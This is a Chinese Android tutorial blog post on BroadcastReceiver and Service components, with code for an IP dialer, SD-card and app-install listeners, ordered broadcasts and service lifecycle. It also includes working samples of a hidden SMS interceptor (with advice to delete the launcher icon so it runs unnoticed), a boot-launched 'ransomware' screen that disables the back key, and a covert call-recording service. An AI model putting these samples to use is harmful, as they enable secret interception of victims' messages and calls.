Android广播BroadcastReceiver

作者: wxyass 分类: Android 发布时间: 2014-10-13 16:18

导语

07 广播 BroadcastReceiver 介绍

广播

  • 广播的概念
    • 现实:电台通过发送广播发布消息,买个收音机,就能收听
      • 电台基站(官方,非官方) –>广播信号
      • 收音机 –>接受信号
    • Android:系统在产生某个事件时发送广播,应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。

##android下广播机制设计的目的
* 手机里面Android系统在运行的过程中会有很多事件。
* 手机电量不足
* 手机开机
* 有人给你发送了短信
* 你向外拨打了电话
* 手机启动完毕
* 屏幕解锁

  • google的android系统把常用的事件,做成了广播机制。一旦事件产生了,就向全系统发送一个广播消息。应用程序使用广播接收者接收这个广播,就知道系统产生了什么事件。

####如何使用内置的广播接受者
####(创建类似于Activity,四大组件都如此,先.继承一个类 后.配置一个清单)
1. 创建一个类继承 BroadcastReceiver (类似买了收音机)
2. 在清单中配置广播接受者(装上电池,配好频道)

    <receiver android:name="com.itheima.ipdail.IpDailBroadcastReceiver">
        <intent-filter >
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
        </intent-filter>
    </receiver>

3. 特殊的广播接受者,需要添加权限(如:开机自启动权限)。
4. 重写BroadcastReceiver类的onReceive(Context context, Intent intent)方法。
4. 通过intent拿到数据,并可以进行修改

public class CallReceiver extends BroadcastReceiver{
    //当收到广播时,此方法调用
    @Override
    public void onReceive(Context context, Intent intent) {
        //添加ip线路
        //1.拿到用户拨打的号码,修改号码添加ip线路
        String number = getResultData();
        number = "17951" + number;

        //2.把新号码设置进广播中
        setResultData(number);

        //此代码无效,因为打电话应用的广播接收者是最终接收者
        //abortBroadcast();//阻止其他广播接收者接收这条广播,可以理解为拦截广播
    }

}

#广播接收者
* 广播发出时,会先自己定义意图过滤器action和数据data(有时只定义意图过滤器action),发出广播后,被广播接收者接收。
* 当一条广播被发送出来时,系统会在所有清单文件中遍历(遍历所有,哪怕找到了,也还要继续遍历,直到把所有清单文件遍历一遍),通过匹配意图过滤器找到能接收这条广播的广播接收者
* 广播接收者一旦接收到了广播,就开始执行广播接受者里面的代码,若没有接收到匹配的广播,代码就不会执行

###一些常量

android.intent.action.NEW_OUTGOING_CALL:外拨电话
android.intent.action.PACKAGEADDED:应用被安装
android.intent.action.PACKAGEREMOVED:应用被移除
android.intent.action.PACKAGE_REPLACED:应用被替换
android.intent.action.MEDIAMOUNTED:sd卡被装载了
android.intent.action.MEDIAREMOVED:sd卡被移除了
android.intent.action.MEDIA_UNMOUNTED:sd卡未挂载
android.intent.action.BOOTCOMPLETED:一旦设备完成启动时触发。需要RECEIVE_BOOT_COMPLETED权限。
Mount:安装,登上
Boot:引导程序,启动,引导

##不同android版本的安全升级
* 2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。

  • 4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止,应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。

#IP拨号器

原理:接收拨打电话的广播,修改广播内携带的电话号码
* 定义广播接收者接收打电话广播

public class CallReceiver extends BroadcastReceiver {

    //当广播接收者接收到广播时,此方法会调用
    @Override
    public void onReceive(Context context, Intent intent) {
        //拿到用户拨打的号码
        String number = getResultData();
        //修改广播内的号码,//同时把新号码设置进广播中
        setResultData("17951" + number);
    }
}

* 在清单文件中定义该广播接收者接收的广播类型

    <receiver android:name="com.itheima.ipdialer.CallReceiver">
        <intent-filter >
            <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
        </intent-filter>
    </receiver>

* 接收打电话广播需要权限

    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

* 即使广播接收者的进程没有启动,当系统发送的广播可以被该接收者接收时,系统会自动启动该接收者所在的进程


#短信拦截器

系统收到短信时会产生一条广播,广播中包含了短信的号码和内容

  • 1.定义广播接收者接收短信广播
    public class SmsReceiver extends BroadcastReceiver {
    
        //intent:此对象就是广播中包含的那个intent
        @Override
        public void onReceive(Context context, Intent intent) {
            //从广播中取出短信的内容
            Bundle bundle = intent.getExtras();
            //数组中的每个元素,就是一条短信
            Object[] objects = (Object[]) bundle.get("pdus");
    
            for (Object object : objects) {
                //把object转换成短信对象
                SmsMessage sms = SmsMessage.createFromPdu((byte[])object);
                //获取短信发送者的号码
                String address = sms.getOriginatingAddress();
                //获取短信的内容
                String body = sms.getMessageBody();
    
                if(address.equals("138438")){
                    //阻止其他广播接收者接收这条广播,可以理解为拦截广播
                    abortBroadcast();
                }
                System.out.println(address + ":" + body);
            }
        }
    }
    
  • 要理解:系统创建广播时,把短信存放到一个数组,然后把数据以pdus为key存入bundle,再把bundle存入intent
  • 2.清单文件中配置广播接收者接收的广播类型,注意要设置优先级属性,要保证优先级高于短信应用,才可以实现拦截
    <receiver android:name="com.itheima.smslistener.SmsReceiver">
        <intent-filter android:priority="1000">
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        </intent-filter>
    </receiver>
    
  • 3.添加权限
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    
  • 4.0之后,广播接收者所在的应用必须启动过一次,才能生效,第一次部署进手机时,要保留activity入口,让该应用执行一次,短信拦截器就运行在手机里,之后删除activity入口(就是删除快捷图标)这视为更新,神不知鬼不觉,拦截器就运行在手机里了。

  • 4.0之后,如果广播接收者所在应用被用户手动关闭了,那么再也不会启动了,直到用户再次手动启动该应用

#监听SD卡状态
* 清单文件中定义广播接收者接收的类型,监听SD卡常见的三种状态,所以广播接收者需要接收三种广播








* 广播接收者的定义
/**
* 此广播接收者用于监听SD卡状态
* 吐司提示SD卡的状态
* @author Administrator
*
*/
public class SDStatusReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {

            //判断收到的是什么广播
            String action = intent.getAction();

            if (intent.ACTION_MEDIA_MOUNTED.equals(action)) {
                Toast.makeText(context, "SD卡可用", 0).show();
            } else if(intent.ACTION_MEDIA_UNMOUNTED.equals(action)){
                Toast.makeText(context, "SD卡不可用", 0).show();
            }else if(intent.ACTION_MEDIA_REMOVED.equals(action)){
                Toast.makeText(context, "SD卡被移除", 0).show();
            }

        }

    }

#勒索软件
* 1.定义广播接收者
/**
* 此广播接收器用于开机启动勒索软件
* @author Administrator
*
*/
public class BootReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {

            //创建意图对象,准备开启新的Activity
            Intent it = new Intent(context,MainActivity.class);
            //创建新的任务栈,存启动的Activity
            it.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
            //启动Activity
            context.startActivity(it);
        }
    }

* 2.清单文件中配置接收开机广播





* 3.权限

* 4.接收开机广播,在广播接收者中启动该勒索Activity,另外设置返回键失效
public class MainActivity extends Activity {

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
        }

        @Override
        public boolean onCreateOptionsMenu(Menu menu) {
            // Inflate the menu; this adds items to the action bar if it is present.
            getMenuInflater().inflate(R.menu.main, menu);
            return true;
        }

        @Override
        public void onBackPressed() {
            //注掉调用父类方法:此Activity返回键失效
            //super.onBackPressed();
        }
    }
  • 注意:
  • 因为广播接收者的启动,并不会创建任务栈,而在广播接收者中需要启动Activity,那么没有任务栈,就无法启动activity
  • 手动设置创建新任务栈的flag
    it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    

#监听应用的安装、卸载、更新

原理:应用在安装卸载更新时,系统会发送广播,广播里会携带应用的包名
* 清单文件定义广播接收者接收的类型,因为要监听应用的三个动作,所以需要接收三种广播







  • 广播接收者的定义
    /**
     * 此广播接收者用于监听应用安装卸载
     * @author Administrator
     *
     */
    public class AppReceiver extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context context, Intent intent) {
    
            String action = intent.getAction();
    
            Uri uri = intent.getData();
    
            if (intent.ACTION_PACKAGE_ADDED.equals(action)) {
                Toast.makeText(context, uri+"安装了", 0).show();
            }else if(intent.ACTION_PACKAGE_REMOVED.equals(action)){
                Toast.makeText(context, uri+"卸载了", 0).show();
            }else if(intent.ACTION_PACKAGE_REPLACED.equals(action)){
                Toast.makeText(context, uri+"更新了", 0).show();
            }
        }
    }
    

#广播的两种类型
* 无序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,并且是没有先后顺序(同时收到)
//发出无序广播:
public void click(View v){
//发送自定义广播
//1.定义意图对象
Intent intent = new Intent();
//2.设置action
intent.setAction(“com.itheima.a1”);
//3.发送广播
sendBroadcast(intent);
}

  • 有序广播:所有跟广播的intent匹配的广播接收者都可以收到该广播,但是会按照广播接收者的优先级来决定接收的先后顺序
    • sendOrderedBroadcast();
      • 参数1:intent
      • 参数2: String receiverPermission 应该是权限
      • 参数3:最终接收者
      • 参数4:Handler消息处理器
      • 参数5:int数据
      • 参数6:String数据
      • 参数7:Bundles数据对象
        public void fdm(View v){
        //发送有序广播
        Intent intent = new Intent();
        intent.setAction(“com.itheima.fdm”);

            //发送有序广播
            //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到
            sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null);
        }
        
    • 优先级的定义:
      • -1000~1000
    • 最终接收者:所有广播接收者都接收到广播之后,它才接收,并且一定会接收

      public class MainActivity extends Activity {

          @Override
          protected void onCreate(Bundle savedInstanceState) {
              super.onCreate(savedInstanceState);
              setContentView(R.layout.activity_main);
          }
      
      
          public void fdm(View v){
              //发送有序广播
              Intent intent = new Intent();
              intent.setAction("com.itheima.fdm");
      
              //发送有序广播
              //resultReceiver:最终接收者,此广播接收者会在最后一个收到广播,并且一定会收到
              sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, "每人发100斤大米", null);
          }
      
          //定义最终接收者
          class MyReceiver extends BroadcastReceiver{
      
              @Override
              public void onReceive(Context context, Intent intent) {
                  String order = getResultData();
                  System.out.println("反贪局收到文件" + order);
      
              }
      
          }
      }
      
    • abortBroadcast();:阻止其他接收者接收这条广播,类似拦截,只有有序广播可以被拦截

##android应用程序的四大组件:
* activity 界面
* content provider 内容提供者 暴露应用程序私有的数据
* broadcast receiver 接受广播消息
* service 后台的服务

四大组件都要在清单文件配置,特殊广播接受者(代码,清单文件)


#二、Service
* 一个组件长期后台运行,没有界面。
* 就是默默运行在后台的组件,可以理解为是没有前台的activity,适合用来运行不需要前台界面的代码
* 服务可以被手动关闭,不会重启,但是如果被自动关闭,内存充足就会重启
* startService启动服务的生命周期
* onCreate()–>onStartCommand()–>onDestroy()
* 重复的调用startService会导致onStartCommand被重复调用

####如何创建一个服务(创建类似于Activity,四大组件都如此,1.继承一个 2.配置一个)
1. 创建一个类继承Service
2. 配置服务清单

    <service android:name="com.itheima.service.MyService"></service>

3. 特殊的服务,需要添加权限。
4. 重写类的onBind(Intent intent)方法。
– 及onCreate()方法–>onStartCommand()方法–>onDestroy()方法
5. 通过主页面通过intent开启关闭服务

    public class MainActivity extends Activity {

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
        }
        //点击事件:开启MyService服务
        public void click1(View v){
            //1.创建意图
            Intent intent = new Intent(this,MyService.class);
            //2.启动服务
            startService(intent);
        }
        //点击事件:停止MyService服务
        public void click2(View v){
            //1.创建意图
            Intent intent = new Intent(this,MyService.class);
            //2.停止服务
            stopService(intent);

        }
    }

进程优先级

  1. 前台进程:拥有一个正在与用户交互的activity(onResume方法被调用)的进程
  2. 可见进程:拥有一个非前台,但是对用户可见的activity(onPause方法被调用)的进程
  3. 服务进程:拥有一个通过startService方法启动的服务的进程
  4. 后台进程:拥有一个后台activity(onStop方法被调用)的进程
  5. 空进程:没有拥有任何活动的应用组件的进程,也就是没有任何服务和activity在运行

#电话窃听器
##音频捕获
* 首先需要一个手机电话管理的服务 TelephonyManager

  1. 创建 android.media.MediaRecorder.
    mediaRecorder= new MediaRecorder();
    
  2. 设置音频源
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频源来自麦克风,只能录自己麦克风单方面的话
    
    (MediaRecorder.AudioSource.VOICE_CALL)//录双方通话,但是只有部分国产手机支持。
    
  3. 设置音频文件的编码格式
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
    
  4. 设置保存文件的路径
    mediaRecorder.setOutputFile("/sdcard/temp.mp4");
    
  5. 设置音频的编码方式
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
    
  6. 准备开始录音
    mediaRecorder.prepare() ;
    
  7. 开始录音
    start();
    
  8. 停止录音
    stop();
    
  9. 释放资源
    release();
    

* 另外:录音使用下面的两个权限

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

##电话窃听器
* 电话状态:空闲、响铃、接听

  • 1.获取电话管理器,设置侦听
    • 设置侦听有两个参数
    • 参数1:手机状态监听器,需继承PhoneStateListener类,重写里面的方法,实现对手机状态的监听,里面有许多方法
    • 参数2:设置监听器只监听什么数据,无论你在手机状态监听器中重写了多少个方法,通过参数2,监听器只监听所设置的参数对应的数据,通过监听数据的变化,去调用不同的方法
      @Override
      public void onCreate() {
          super.onCreate();
          //获取电话管理器
          TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
          //设置侦听
          //arg0:手机状态监听器
          //arg1:设置监听器只监听什么数据
          tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
      }
      
  • 2.侦听对象的实现
    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener{
    
    
        //电话状态改变时,此方法调用
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            // TODO Auto-generated method stub
            super.onCallStateChanged(state, incomingNumber);
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE://空闲
                if(recorder != null){
                    recorder.stop();
                    //释放占用的资源
                    recorder.release();
                    recorder = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING://响铃
                if(recorder == null){
                    recorder = new MediaRecorder();
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    recorder.setOutputFile("sdcard/voice.3gp");
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    try {
                        //准备完毕后,随时可以录音
                        recorder.prepare();
                    } catch (Exception e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }
                }
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://摘机
                if(recorder != null){
                    recorder.start();
                }
                break;
    
            }
        }
    
    }
    
  • 3.添加权限,
    • 读取用户手机状态权限
    • 写入SD卡权限
    • 开机自启动权限
    • 记录音频权限
      <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
      <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
      <uses-permission android:name="android.permission.RECORD_AUDIO"/>
      

–电话窃听器示例:—-

/**
 * 此RecorderService服务:用于监听手机状态改变,实现电话窃听器功能
 * 1、获取电话管理器,并对手机设置监听
 * 2、定义一个手机监听器,实现电话窃听器功能
 * 
 * @author Administrator
 *
 */
public class RecorderService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate() {
        // TODO Auto-generated method stub
        super.onCreate();
        //获取电话管理器
        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        //设置侦听
        //arg1:设置监听器只监听什么数据
        tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
    }

    //定义多媒体录音对象
    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener{

        //电话状态改变时,此方法调用
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            // TODO Auto-generated method stub
            super.onCallStateChanged(state, incomingNumber);
            switch (state) {
            case TelephonyManager.CALL_STATE_IDLE://空闲
                if(recorder != null){
                    //停止录音
                    recorder.stop();
                    //释放占用的资源
                    recorder.release();
                    recorder = null;
                }
                break;
            case TelephonyManager.CALL_STATE_RINGING://响铃
                if(recorder == null){
                    //获取多媒体录音对象
                    recorder = new MediaRecorder();
                    //设置音频源,MIC只能设置音频源来自麦克风,只能录自己麦克风单方面的话
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //设置音频文件的编码格式
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    //设置保存文件的路径
                    recorder.setOutputFile("sdcard/voice.3gp");
                    //设置音频的编码方式
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    try {
                        //准备完毕后,随时可以录音,准备开始录音了
                        recorder.prepare();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://摘机
                if(recorder != null){
                    //开始录音
                    recorder.start();
                }
                break;

            }
        }

    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        return super.onStartCommand(intent, flags, startId);
    }
}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注